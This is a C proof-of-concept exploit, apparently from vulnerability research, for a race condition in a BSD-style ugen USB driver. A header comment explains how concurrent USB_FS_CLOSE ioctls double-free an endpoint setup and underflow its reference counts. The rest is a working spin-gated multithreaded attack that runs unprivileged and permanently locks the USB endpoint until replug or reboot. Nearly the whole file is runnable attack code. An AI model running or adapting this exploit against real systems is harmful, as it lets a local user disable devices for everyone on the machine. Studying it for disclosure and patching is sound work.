DF-5314 / df5314c.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 | /* * DF-5314 variant C -- USB_FS_CLOSE x USB_FS_CLOSE double-unsetup, * spin-gate synchronised (nanosecond-scale entry skew). * * Same defect as variant B: ugen_ioctl(USB_FS_CLOSE) * [sys/bus/u4b/usb_generic.c:1558-1568] is unserialised, and * usbd_transfer_unsetup() reads the slot pointer BEFORE locking it * [usb_transfer.c:1379 read; :1405 NULL under lock]. If two (or more) * closes read the non-NULL pointer inside that ~1us window, both run a * full unsetup on the same xfer: endpoint->refcount_alloc 1 -> 0 -> 0xFF * (uint8_t underflow, usb_transfer.c:1421) and info->setup_refcount * 1 -> 0 -> 0xFF (usb_transfer.c:1431). The endpoint then permanently * rejects all setups (refcount 0xFF >= USB_EP_REF_MAX). * * The spin gate lines all closers up on their own CPUs before the * syscall, so their reads of pxfer[] fall inside the same window. * * Build: cc -O -Wall -o df5314c df5314c.c -pthread * Run: ./df5314c (unprivileged, rw on the ugen ctrl node) */ #include <sys/types.h> #include <stdatomic.h> #include <sys/ioctl.h> #include <err.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <bus/u4b/usb.h> #include <bus/u4b/usb_ioctl.h> #ifndef DEV #define DEV "/dev/usb/0.2.0" /* control endpoint node of ugen0.2 */ #endif #define NCLOSER 4 static int fd; static volatile unsigned go; static volatile int stop; static volatile int fired; static struct usb_fs_endpoint eps[4]; static void fs_init(void) { struct usb_fs_init ini; memset(&ini, 0, sizeof(ini)); ini.pEndpoints = eps; ini.ep_index_max = 4; if (ioctl(fd, USB_FS_INIT, &ini) < 0) err(1, "USB_FS_INIT"); } static int fs_open(void) { struct usb_fs_open op; memset(&op, 0, sizeof(op)); op.ep_index = 0; op.ep_no = 0x00; op.max_bufsize = 256; op.max_frames = 4; return (ioctl(fd, USB_FS_OPEN, &op)); } static void * closer(void *arg) { struct usb_fs_close cl; memset(&cl, 0, sizeof(cl)); cl.ep_index = 0; while (!stop) { /* spin until the gate opens */ while (!go && !stop) ; /* spin */ if (stop) break; ioctl(fd, USB_FS_CLOSE, &cl); atomic_fetch_add(&fired, 1); } return (NULL); } int main(void) { pthread_t th[NCLOSER]; struct usb_fs_uninit un; int round, r, i; memset(&un, 0, sizeof(un)); fd = open(DEV, O_RDWR); if (fd < 0) err(1, "open %s", DEV); fs_init(); for (i = 0; i < NCLOSER; i++) if (pthread_create(&th[i], NULL, closer, NULL) != 0) err(1, "pthread_create"); for (round = 1; round <= 3000; round++) { if (fs_open() != 0) { if (errno == EBUSY) { struct usb_fs_close cl; memset(&cl, 0, sizeof(cl)); cl.ep_index = 0; ioctl(fd, USB_FS_CLOSE, &cl); if (fs_open() != 0) { printf("[!] round %d arm: %s\n", round, strerror(errno)); break; } } else { printf("[!] round %d arm: %s\n", round, strerror(errno)); break; } } /* arm the spin gate */ go = 0; fired = 0; /* wait a moment so all closers are spinning */ usleep(2000); go = 1; /* fire! */ while (fired < NCLOSER) ; /* wait for all */ usleep(2000); /* let them finish unsetup */ r = fs_open(); if (r != 0) { stop = 1; go = 1; for (i = 0; i < NCLOSER; i++) pthread_join(th[i], NULL); printf("[+] round %d: USB_FS_OPEN now fails: %s\n", round, strerror(errno)); goto won; } { struct usb_fs_close cl; memset(&cl, 0, sizeof(cl)); cl.ep_index = 0; ioctl(fd, USB_FS_CLOSE, &cl); } printf("[*] round %d survived\n", round); fflush(stdout); } stop = 1; go = 1; for (i = 0; i < NCLOSER; i++) pthread_join(th[i], NULL); printf("SURVIVED -- double-unsetup not landed\n"); return (2); won: for (round = 0; round < 4; round++) { struct usb_fs_close cl; memset(&cl, 0, sizeof(cl)); cl.ep_index = round; ioctl(fd, USB_FS_CLOSE, &cl); } ioctl(fd, USB_FS_UNINIT, &un); fs_init(); r = fs_open(); if (r != 0) { printf("POST-CLEANUP USB_FS_OPEN FAILED: %s\n", strerror(errno)); printf("ENDPOINT LOCKED OUT: refcount_alloc underflowed " "(double unsetup) -- dead for all consumers until " "replug/reboot\n"); return (0); } printf("post-cleanup open succeeded (no lockout)\n"); return (1); } |